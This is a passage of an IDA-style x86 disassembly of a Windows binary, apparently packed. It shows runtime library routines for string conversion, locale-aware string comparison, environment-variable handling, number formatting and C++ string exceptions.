push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx ; WideCharToMultiByte
mov ebp, eax
cmp ebp, edi
jz short loc_4265CE
push ebp
call sub_41BB45
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_4265CE
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx ; WideCharToMultiByte
test eax, eax
jz short loc_4265CE
push edi
push [esp+18h+var_4]
call sub_426850
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_42657E
loc_4265C6: ; CODE XREF: sub_426565+11j
xor eax, eax
loc_4265C8: ; CODE XREF: sub_426565+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4265CE: ; CODE XREF: sub_426565+29j
; sub_426565+38j ...
or eax, 0FFFFFFFFh
jmp short loc_4265C8
sub_426565 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4265D3 proc near ; CODE XREF: sub_426526+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428CD8
push offset sub_423B80
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_4DE8D8, ebx
push 1
pop edi
jnz short loc_426646
push edi
mov eax, offset dword_428928
push eax
push edi
push eax
push ebx
push ebx
call dword_428008 ; CompareStringW
test eax, eax
jz short loc_426623
mov dword_4DE8D8, edi
jmp short loc_426646
; ---------------------------------------------------------------------------
loc_426623: ; CODE XREF: sub_4265D3+46j
push edi
mov eax, offset dword_4CE1C0
push eax
push edi
push eax
push ebx
push ebx
call dword_42800C ; CompareStringA
test eax, eax
jz loc_42683C
mov dword_4DE8D8, 2
loc_426646: ; CODE XREF: sub_4265D3+31j
; sub_4265D3+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_42665D
push esi
push [ebp+arg_8]
call sub_42338E
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_42665D: ; CODE XREF: sub_4265D3+78j
cmp [ebp+arg_14], ebx
jle short loc_426672
push [ebp+arg_14]
push [ebp+arg_10]
call sub_42338E
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_426672: ; CODE XREF: sub_4265D3+8Dj
mov eax, dword_4DE8D8
cmp eax, 2
jnz short loc_426697
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_42800C ; CompareStringA
jmp loc_42683E
; ---------------------------------------------------------------------------
loc_426697: ; CODE XREF: sub_4265D3+A7j
cmp eax, edi
jnz loc_42683C
cmp [ebp+arg_18], ebx
jnz short loc_4266AC
mov eax, dword_4DE694
mov [ebp+arg_18], eax
loc_4266AC: ; CODE XREF: sub_4265D3+CFj
cmp esi, ebx
jz short loc_4266B9
cmp [ebp+arg_14], ebx
jnz loc_426751
loc_4266B9: ; CODE XREF: sub_4265D3+DBj
cmp esi, [ebp+arg_14]
jnz short loc_4266C6
loc_4266BE: ; CODE XREF: sub_4265D3+13Cj
; sub_4265D3+16Dj
push 2
loc_4266C0: ; CODE XREF: sub_4265D3+146j
pop eax
jmp loc_42683E
; ---------------------------------------------------------------------------
loc_4266C6: ; CODE XREF: sub_4265D3+E9j
cmp [ebp+arg_14], edi
jle short loc_4266D2
loc_4266CB: ; CODE XREF: sub_4265D3+151j
; sub_4265D3+159j ...
mov eax, edi
jmp loc_42683E
; ---------------------------------------------------------------------------
loc_4266D2: ; CODE XREF: sub_4265D3+F6j
cmp esi, edi
jg short loc_426717
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
call dword_428068 ; GetCPInfo
test eax, eax
jz loc_42683C
cmp esi, ebx
jle short loc_42671B
cmp [ebp+var_3C], 2
jb short loc_426717
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_426717
loc_4266FD: ; CODE XREF: sub_4265D3+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_426717
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_426711
cmp cl, dl
jbe short loc_4266BE
loc_426711: ; CODE XREF: sub_4265D3+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_4266FD
loc_426717: ; CODE XREF: sub_4265D3+101j
; sub_4265D3+120j ...
push 3
jmp short loc_4266C0
; ---------------------------------------------------------------------------
loc_42671B: ; CODE XREF: sub_4265D3+11Aj
cmp [ebp+arg_14], ebx
jle short loc_426751
cmp [ebp+var_3C], 2
jb short loc_4266CB
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_4266CB
loc_42672E: ; CODE XREF: sub_4265D3+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_4266CB
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_426746
cmp cl, dl
jbe loc_4266BE
loc_426746: ; CODE XREF: sub_4265D3+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_42672E
jmp loc_4266CB
; ---------------------------------------------------------------------------
loc_426751: ; CODE XREF: sub_4265D3+E0j
; sub_4265D3+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
call dword_4280E8 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_42683C
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_41C190
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4267A0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_4267A0: ; CODE XREF: sub_4265D3+1B5j
cmp [ebp+var_24], ebx
jz loc_42683C
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_4280E8
call esi ; MultiByteToWideChar
test eax, eax
jz short loc_42683C
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi ; MultiByteToWideChar
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_42683C
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41C190
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42680B
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_42680B: ; CODE XREF: sub_4265D3+224j
cmp edi, ebx
jz short loc_42683C
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
call dword_4280E8 ; MultiByteToWideChar
test eax, eax
jz short loc_42683C
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428008 ; CompareStringW
jmp short loc_42683E
; ---------------------------------------------------------------------------
loc_42683C: ; CODE XREF: sub_4265D3+63j
; sub_4265D3+C6j ...
xor eax, eax
loc_42683E: ; CODE XREF: sub_4265D3+BFj
; sub_4265D3+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4265D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426850 proc near ; CODE XREF: sub_426565+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_4268B4
push 3Dh
push [ebp+arg_0]
call sub_426A96
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_4268B4
cmp [ebp+arg_0], esi
jz short loc_4268B4
mov eax, dword_4DE5EC
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_4DE5F0
jnz short loc_42689A
push eax
call sub_426A2F
pop ecx
mov dword_4DE5EC, eax
loc_42689A: ; CODE XREF: sub_426850+3Cj
cmp eax, edi
jnz short loc_4268F2
cmp [ebp+arg_4], edi
jz short loc_4268BC
cmp dword_4DE5F4, edi
jz short loc_4268BC
call sub_426565
test eax, eax
jz short loc_4268F2
loc_4268B4: ; CODE XREF: sub_426850+Dj
; sub_426850+22j ...
or eax, 0FFFFFFFFh
loc_4268B7: ; CODE XREF: sub_426850+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4268BC: ; CODE XREF: sub_426850+51j
; sub_426850+59j
cmp ebx, edi
jnz loc_4269D0
push 4
call sub_41BB45
cmp eax, edi
pop ecx
mov dword_4DE5EC, eax
jz short loc_4268B4
mov [eax], edi
cmp dword_4DE5F4, edi
jnz short loc_4268F2
push 4
call sub_41BB45
cmp eax, edi
pop ecx
mov dword_4DE5F4, eax
jz short loc_4268B4
mov [eax], edi
loc_4268F2: ; CODE XREF: sub_426850+4Cj
; sub_426850+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_4DE5EC
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_4269D7
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_426952
cmp dword ptr [edi], 0
jz short loc_426952
test ebx, ebx
jz short loc_42694A
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_41B721
pop ecx
loc_426924: ; CODE XREF: sub_426850+E2j
cmp dword ptr [edi], 0
jz short loc_426934
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_426924
; ---------------------------------------------------------------------------
loc_426934: ; CODE XREF: sub_426850+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_41B872
pop ecx
test eax, eax
pop ecx
jz short loc_426984
jmp short loc_42697F
; ---------------------------------------------------------------------------
loc_42694A: ; CODE XREF: sub_426850+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_426984
; ---------------------------------------------------------------------------
loc_426952: ; CODE XREF: sub_426850+BDj
; sub_426850+C2j
test ebx, ebx
jnz short loc_4269D0
test esi, esi
jge short loc_42695C
neg esi
loc_42695C: ; CODE XREF: sub_426850+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_41B872
pop ecx
test eax, eax
pop ecx
jz loc_4268B4
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_42697F: ; CODE XREF: sub_426850+F8j
mov dword_4DE5EC, eax
loc_426984: ; CODE XREF: sub_426850+F6j
; sub_426850+100j
cmp [ebp+arg_4], 0
jz short loc_4269D0
push [ebp+arg_0]
call sub_41B650
inc eax
inc eax
push eax
call sub_41BB45
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4269D0
push [ebp+arg_0]
push esi
call sub_41C520
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
call dword_428004 ; SetEnvironmentVariableA
push esi
call sub_41B721
pop ecx
loc_4269D0: ; CODE XREF: sub_426850+6Ej
; sub_426850+104j ...
xor eax, eax
jmp loc_4268B7
sub_426850 endp
; =============== S U B R O U T I N E =======================================
sub_4269D7 proc near ; CODE XREF: sub_426850+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_4DE5EC
push edi
mov eax, [esi]
test eax, eax
jz short loc_426A12
mov edi, [esp+8+arg_4]
loc_4269E9: ; CODE XREF: sub_4269D7+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_426526
add esp, 0Ch
test eax, eax
jnz short loc_426A08
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_426A22
test al, al
jz short loc_426A22
loc_426A08: ; CODE XREF: sub_4269D7+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_4269E9
loc_426A12: ; CODE XREF: sub_4269D7+Cj
mov eax, esi
sub eax, dword_4DE5EC
sar eax, 2
neg eax
loc_426A1F: ; CODE XREF: sub_4269D7+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_426A22: ; CODE XREF: sub_4269D7+2Bj
; sub_4269D7+2Fj
mov eax, esi
sub eax, dword_4DE5EC
sar eax, 2
jmp short loc_426A1F
sub_4269D7 endp
; =============== S U B R O U T I N E =======================================
sub_426A2F proc near ; CODE XREF: sub_426850+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_426A3E
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_426A3E: ; CODE XREF: sub_426A2F+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_426A50
loc_426A46: ; CODE XREF: sub_426A2F+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_426A46
loc_426A50: ; CODE XREF: sub_426A2F+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_41BB45
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_426A71
push 9
call sub_41E0C9
pop ecx
loc_426A71: ; CODE XREF: sub_426A2F+38j
mov eax, [edi]
mov ebx, edi
loc_426A75: ; CODE XREF: sub_426A2F+5Bj
test eax, eax
jz short loc_426A8C
push eax
add ebx, 4
call sub_426B09
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_426A75
; ---------------------------------------------------------------------------
loc_426A8C: ; CODE XREF: sub_426A2F+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_426A2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426A96 proc near ; CODE XREF: sub_426850+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_4DFA3C, 0
jnz short loc_426AB1
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C620
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426AB1: ; CODE XREF: sub_426A96+Aj
mov ecx, [ebp+arg_0]
loc_426AB4: ; CODE XREF: sub_426A96+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_426AF7
movzx edx, al
test byte_4DFB41[edx], 4
jz short loc_426AE3
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_426AEE
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_426AF2
jmp short loc_426AEB
; ---------------------------------------------------------------------------
loc_426AE3: ; CODE XREF: sub_426A96+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_426AF7
loc_426AEB: ; CODE XREF: sub_426A96+4Bj
inc ecx
jmp short loc_426AB4
; ---------------------------------------------------------------------------
loc_426AEE: ; CODE XREF: sub_426A96+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426AF2: ; CODE XREF: sub_426A96+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426AF7: ; CODE XREF: sub_426A96+25j
; sub_426A96+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_426A96 endp
; =============== S U B R O U T I N E =======================================
sub_426B09 proc near ; CODE XREF: sub_418584+21p
; sub_426A2F+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_426B30
push esi
call sub_41B650
inc eax
push eax
call sub_41BB45
pop ecx
test eax, eax
pop ecx
jz short loc_426B30
push esi
push eax
call sub_41C520
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_426B30: ; CODE XREF: sub_426B09+7j
; sub_426B09+1Aj
xor eax, eax
pop esi
retn
sub_426B09 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_426B40 proc near ; CODE XREF: sub_426C23+19p
; sub_426D4A+19p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_41B650
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_40D8AB
mov eax, esi
pop esi
retn 8
sub_426B40 endp
; =============== S U B R O U T I N E =======================================
sub_426B6A proc near ; CODE XREF: .XPack0:00426B95p
; sub_426C18+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_428CF4
call sub_40D873
mov ecx, esi
pop esi
jmp sub_426FE9
sub_426B6A endp
; =============== S U B R O U T I N E =======================================
sub_426B85 proc near ; DATA XREF: .XPack0:00428CF8o
; .XPack0:00428D08o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_426B91
mov eax, offset dword_428690
locret_426B91: ; CODE XREF: sub_426B85+5j
retn
sub_426B85 endp
; ---------------------------------------------------------------------------
loc_426B92: ; DATA XREF: .XPack0:off_428CF4o
push esi
mov esi, ecx
call sub_426B6A
test byte ptr [esp+8], 1
jz short loc_426BA8
push esi
call sub_41D2EF
pop ecx
loc_426BA8: ; CODE XREF: .XPack0:00426B9Fj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_426BAE proc near ; CODE XREF: sub_426C23+29p
mov eax, offset loc_427566
call sub_41D2D0
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_428D10
call sub_426F62
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_428CF4
call sub_426C60
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_428D04
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_426BAE endp
; =============== S U B R O U T I N E =======================================
sub_426BFC proc near ; DATA XREF: .XPack0:off_428D04o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426C18
test [esp+4+arg_0], 1
jz short loc_426C12
push esi
call sub_41D2EF
pop ecx
loc_426C12: ; CODE XREF: sub_426BFC+Dj
mov eax, esi
pop esi
retn 4
sub_426BFC endp
; =============== S U B R O U T I N E =======================================
sub_426C18 proc near ; CODE XREF: sub_426BFC+3p
; DATA XREF: .XPack0:00429068o
mov dword ptr [ecx], offset off_428D04
jmp sub_426B6A
sub_426C18 endp
; =============== S U B R O U T I N E =======================================
sub_426C23 proc near ; CODE XREF: sub_40D720+13p
; sub_40D8E0+Ep
mov eax, offset loc_427578
call sub_41D2D0
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-20h]
call sub_426B40
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_426BAE
push offset dword_429064
lea eax, [ebp-3Ch]
push eax
call sub_42700C
int 3 ; Trap to Debugger
sub_426C23 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426C60 proc near ; CODE XREF: sub_426BAE+32p
; sub_426C80+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_40D720
mov eax, esi
pop esi
retn 4
sub_426C60 endp
; =============== S U B R O U T I N E =======================================
sub_426C80 proc near ; CODE XREF: sub_426D4A+29p
mov eax, offset loc_42758A
call sub_41D2D0
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_428D10
call sub_426F62
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_428CF4
call sub_426C60
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_426C80 endp
; =============== S U B R O U T I N E =======================================
sub_426CC8 proc near ; CODE XREF: sub_426D32+7p
; sub_426D8E+7p ...
mov eax, offset loc_42759C
call sub_41D2D0
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_426F9F
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_428CF4
call sub_426C60
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_426CC8 endp
; =============== S U B R O U T I N E =======================================
sub_426D0B proc near ; DATA XREF: .XPack0:off_428D30o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426D27
test [esp+4+arg_0], 1
jz short loc_426D21
push esi
call sub_41D2EF
pop ecx
loc_426D21: ; CODE XREF: sub_426D0B+Dj
mov eax, esi
pop esi
retn 4
sub_426D0B endp
; =============== S U B R O U T I N E =======================================
sub_426D27 proc near ; CODE XREF: sub_426D0B+3p
; DATA XREF: .XPack0:00429110o
mov dword ptr [ecx], offset off_428D30
jmp sub_426B6A
sub_426D27 endp
; =============== S U B R O U T I N E =======================================
sub_426D32 proc near ; CODE XREF: sub_426DA6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426CC8
mov dword ptr [esi], offset off_428D04
mov eax, esi
pop esi
retn 4
sub_426D32 endp
; =============== S U B R O U T I N E =======================================
sub_426D4A proc near ; CODE XREF: sub_40D66E+12p
; sub_40D6C8+12p ...
mov eax, offset loc_4275AE
call sub_41D2D0
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-20h]
call sub_426B40
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_426C80
push offset dword_42910C
lea eax, [ebp-3Ch]
push eax
mov dword ptr [ebp-3Ch], offset off_428D30
call sub_42700C
int 3 ; Trap to Debugger
sub_426D4A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426D8E proc near ; CODE XREF: sub_426DA6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426CC8
mov dword ptr [esi], offset off_428D30
mov eax, esi
pop esi
retn 4
sub_426D8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426DA6 proc near ; DATA XREF: .XPack0:00428CFCo
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426CC8
push offset dword_42914C
lea eax, [ebp+var_1C]
push eax
call sub_42700C
int 3 ; Trap to Debugger
loc_426DC4: ; DATA XREF: .XPack0:00428D38o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426D8E
push offset dword_42910C
lea eax, [ebp+var_1C]
push eax
call sub_42700C
int 3 ; Trap to Debugger
loc_426DE2: ; DATA XREF: .XPack0:00428D0Co
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426D32
push offset dword_429064
lea eax, [ebp+var_1C]
push eax
call sub_42700C
int 3 ; Trap to Debugger
sub_426DA6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426E00 proc near ; CODE XREF: sub_40D000+5Ep
; sub_40F6A7+148p ...
jmp dword_428228
sub_426E00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426E06 proc near ; CODE XREF: sub_41CF3C+23p
; sub_41D1E0+13p
jmp dword_4281A8
sub_426E06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426E0C proc near ; CODE XREF: .XPack0:0040AF31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0Ah
jnz short loc_426E21
cmp [ebp+arg_0], 0
jge short loc_426E21
push 1
push 0Ah
jmp short loc_426E26
; ---------------------------------------------------------------------------
loc_426E21: ; CODE XREF: sub_426E0C+7j
; sub_426E0C+Dj
push 0
push [ebp+arg_8]
loc_426E26: ; CODE XREF: sub_426E0C+13j
push [ebp+arg_4]
push [ebp+arg_0]
call sub_426E39
mov eax, [ebp+arg_4]
add esp, 10h
pop ebp
retn
sub_426E0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426E39 proc near ; CODE XREF: sub_426E0C+20p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_C], 0
mov ecx, [ebp+arg_4]
push ebx
push esi
push edi
jz short loc_426E53
mov esi, [ebp+arg_0]
mov byte ptr [ecx], 2Dh
inc ecx
neg esi
jmp short loc_426E56
; ---------------------------------------------------------------------------
loc_426E53: ; CODE XREF: sub_426E39+Dj
mov esi, [ebp+arg_0]
loc_426E56: ; CODE XREF: sub_426E39+18j
mov edi, ecx
loc_426E58: ; CODE XREF: sub_426E39+43j
mov eax, esi
xor edx, edx
div [ebp+arg_8]
mov eax, esi
mov ebx, edx
xor edx, edx
div [ebp+arg_8]
cmp ebx, 9
mov esi, eax
jbe short loc_426E74
add bl, 57h
jmp short loc_426E77
; ---------------------------------------------------------------------------
loc_426E74: ; CODE XREF: sub_426E39+34j
add bl, 30h
loc_426E77: ; CODE XREF: sub_426E39+39j
mov [ecx], bl
inc ecx
test esi, esi
ja short loc_426E58
and byte ptr [ecx], 0
dec ecx
loc_426E82: ; CODE XREF: sub_426E39+55j
mov dl, [edi]
mov al, [ecx]
mov [ecx], dl
mov [edi], al
dec ecx
inc edi
cmp edi, ecx
jb short loc_426E82
pop edi
pop esi
pop ebx
pop ebp
retn
sub_426E39 endp
; =============== S U B R O U T I N E =======================================
sub_426E95 proc near ; CODE XREF: sub_417805+E2p
; sub_417805+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_4DE684, 0
push ebx
jnz short loc_426EDB
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_426EA7: ; CODE XREF: sub_426E95+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_426EB9
cmp bx, 41h
jb short loc_426EB9
add ebx, 20h
loc_426EB9: ; CODE XREF: sub_426E95+19j
; sub_426E95+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_426ECB
cmp ax, 41h
jb short loc_426ECB
add eax, 20h
loc_426ECB: ; CODE XREF: sub_426E95+2Bj
; sub_426E95+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_426F0B
cmp bx, ax
jz short loc_426EA7
jmp short loc_426F0B
; ---------------------------------------------------------------------------
loc_426EDB: ; CODE XREF: sub_426E95+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_426EE5: ; CODE XREF: sub_426E95+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_427046
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_427046
pop ecx
test bx, bx
pop ecx
jz short loc_426F09
cmp bx, ax
jz short loc_426EE5
loc_426F09: ; CODE XREF: sub_426E95+6Dj
pop edi
pop esi
loc_426F0B: ; CODE XREF: sub_426E95+3Dj
; sub_426E95+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_426E95 endp
; =============== S U B R O U T I N E =======================================
sub_426F15 proc near ; CODE XREF: .XPack0:00426F2Dp
mov dword ptr [ecx], offset off_428D50
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_426F29
push ecx
call sub_41B721
pop ecx
locret_426F29: ; CODE XREF: sub_426F15+Bj
retn
sub_426F15 endp
; ---------------------------------------------------------------------------
loc_426F2A: ; DATA XREF: .XPack0:off_428D50o
push esi
mov esi, ecx
call sub_426F15
test byte ptr [esp+8], 1
jz short loc_426F40
push esi
call sub_41D2EF
pop ecx
loc_426F40: ; CODE XREF: .XPack0:00426F37j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_426F46: ; DATA XREF: .XPack0:off_428D58o
push esi
mov esi, ecx
call sub_426FE9
test byte ptr [esp+8], 1
jz short loc_426F5C
push esi
call sub_41D2EF
pop ecx
loc_426F5C: ; CODE XREF: .XPack0:00426F53j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_426F62 proc near ; CODE XREF: sub_426BAE+1Dp
; sub_426C80+1Dp
arg_0 = dword ptr 4
push esi
